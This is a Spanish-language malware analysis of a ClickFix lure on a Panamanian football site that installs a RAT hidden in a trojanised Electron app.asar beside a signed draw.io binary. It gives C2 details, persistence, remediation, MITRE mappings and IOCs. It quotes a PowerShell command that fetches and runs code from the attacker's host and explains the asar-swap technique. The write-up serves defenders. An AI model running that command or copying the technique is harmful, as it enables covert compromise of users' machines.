Anatomía de una campaña ClickFix-a-RAT: troyanizando el app.asar de Electron
Un binario firmado, DLLs limpias y un archivo app.asar manipulado: cómo un señuelo ClickFix derivó en un RAT persistente que heredó la cadena de confianza de draw.io.
Un falso mensaje de “no soy un robot” en fepafut[.]com, el sitio oficial de la federación
panameña de fútbol, indicaba a los visitantes que pegaran un comando en el cuadro de diálogo
Ejecutar de Windows. ClickFix clásico. Lo que vino después no lo fue tanto: cada ejecutable del
paquete resultante estaba firmado, limpio, y pasaría una revisión de VirusTotal sin levantar
sospechas. El compromiso vivía en un lugar que la firma de código no mira.
El señuelo
El falso CAPTCHA del sitio guiaba a la víctima a través del ya conocido guion de ClickFix: “verificar que eres humano” abriendo Ejecutar (Win+R) y pegando un comando proporcionado por la página. Sin exploit, sin macro. Solo un visitante haciendo exactamente lo que le indicaron.
Cadena de ejecución
Cuatro etapas, cada una legítima por separado:
powershell.exese ejecuta coniex(irm ccudmcx[.]xyz/u), cargando la segunda etapa en memoria y escribiéndola enrunner.ps1.powershell.exeejecuta (runner.ps1), el dropper, que descargaupdate26[.]zip, un archivo sospechosamente grande de 1.3GB, y lo extrae en%LOCALAPPDATA%\UpdateApp\.draw.io.exe, firmado por JGraph Ltd. (la empresa que realmente publica draw.io), carga unapp.asartroyanizado al iniciar y establece persistencia de inmediato mediante una clave de registroCurrentVersion\Run.
No era sideloading: la carga útil estaba en el asar
Cada ejecutable del paquete update26.zip resultó limpio y firmado en VirusTotal. El tamaño de
1.3GB apuntaba en un principio hacia DLL sideloading, hasta que quedó claro que la carga útil no
era una DLL en absoluto.
Las aplicaciones Electron cargan su JavaScript del proceso principal desde resources\app.asar,
un archivo empaquetado que acompaña al ejecutable firmado. Al reemplazar ese único archivo, el
código malicioso hereda la cadena de confianza de una aplicación legítimamente firmada sin tocar
jamás un binario que un control de firma de código pudiera marcar. Los controles de integridad
de PE no tienen nada que detectar aquí: el ejecutable está intacto y genuinamente firmado por
JGraph.
Electron es el motor detrás de una larga lista de aplicaciones firmadas de uso cotidiano: VS
Code, Discord, Slack, Postman y Notion, entre otras. Cualquiera de ellas es candidata al mismo
truco si un atacante logra reemplazar su app.asar.
Capacidades del RAT
Una vez cargado, el app.asar troyanizado le daba al atacante:
- Ejecución arbitraria de JavaScript en el proceso principal de Electron vía
eval(task.e). - La capacidad de escribir y ejecutar archivos codificados en base64 obtenidos del C2, mediante
child_process.exec. - Un ID persistente por víctima para un beaconing estable y rastreable.
Comando y control
El implante envía un POST cada 65 segundos a chimefusion[.]com/u/, el servidor C2 de los
atacantes. El cuerpo de la solicitud es un arreglo JSON con el ID de la víctima,
COMPUTERNAME y USERNAME, suficiente para que el operador clasifique víctimas sin necesidad
de interactuar directamente con el endpoint.
Persistencia
app.setLoginItemSettings({ openAtLogin: true })crea una entrada enHKCU\Software\Microsoft\Windows\CurrentVersion\Runque apunta a%LOCALAPPDATA%\UpdateApp\draw.io.exe.- Un ID de víctima persistente se guarda en caché en
%APPDATA%\setup.txt. - La entrada en la clave Run es lo que la mayoría de los defensores pasará por alto: apunta a un
ejecutable firmado y legítimo. La señal no está en el binario, está en la ruta: draw.io no
tiene ninguna razón legítima para estar instalado bajo
%LOCALAPPDATA%\UpdateApp\.
Remediación
- Bloquear
chimefusion[.]comyccudmcx[.]xyza nivel de red. - Eliminar
%LOCALAPPDATA%\UpdateApp\,%APPDATA%\setup.txty%TEMP%\runner.ps1(%TEMP%\update26[.]zipse autolimpia como parte de la ejecución derunner.ps1). - Eliminar la entrada de
CurrentVersion\Runque referenciadraw.io.exe. - Rotar cualquier credencial que haya estado activa en el host durante la ventana de compromiso.
MITRE ATT&CK
Técnicas observadas en este caso.
| Táctica | Técnica | ID |
|---|---|---|
| Acceso inicial | Drive-by Compromise | T1189 |
| Ejecución | User Execution: Malicious Copy and Paste | T1204.004 |
| Ejecución | Command and Scripting Interpreter: PowerShell | T1059.001 |
| Comando y control | Ingress Tool Transfer | T1105 |
| Persistencia | Compromise Host Software Binary | T1554 |
| Persistencia | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | T1547.001 |
| Evasión de defensas | Masquerading: Match Legitimate Name or Location | T1036.005 |
| Descubrimiento | System Information Discovery | T1082 |
| Descubrimiento | System Owner/User Discovery | T1033 |
| Comando y control | Application Layer Protocol: Web Protocols | T1071.001 |
Indicadores de compromiso
Señuelo fepafut[.]com
Entrega ccudmcx[.]xyz
C2 chimefusion[.]com/u/
Ruta instalación %LOCALAPPDATA%\UpdateApp\ (ubicación anómala de drawio)
Caché ID víctima %APPDATA%\setup.txt
Dropper %TEMP%\runner.ps1, %TEMP%\update26[.]zip
Persistencia HKCU\Software\Microsoft\Windows\CurrentVersion\Run -> draw.io.exe
update26.zip d942e9cfc0ca32a3d66ec690090ee22dca74953efed6889fb2292de36f5e39fd
app.asar 0642708ec7c25dec3168f1ab275a29bfd3cf69fe3afc3d5c6eadfa6750102883
Qué llevarse de este caso
Un resultado limpio en VirusTotal no cerró el triaje aquí, y no debía cerrarlo. Cada PE del paquete era genuino; el código malicioso estaba dentro de un archivo que la mayoría de las herramientas nunca abre. Los controles de integridad que se detienen en el binario no ven nada, y la superficie es amplia: cualquier aplicación Electron firmada del entorno es candidata.
Lo que delató el caso fue la ruta. No una firma ni un hash: un binario legítimo ejecutándose desde un directorio en el que no tenía nada que hacer. Esa revisión no cuesta nada y sirve para toda la categoría, no solo para esta muestra.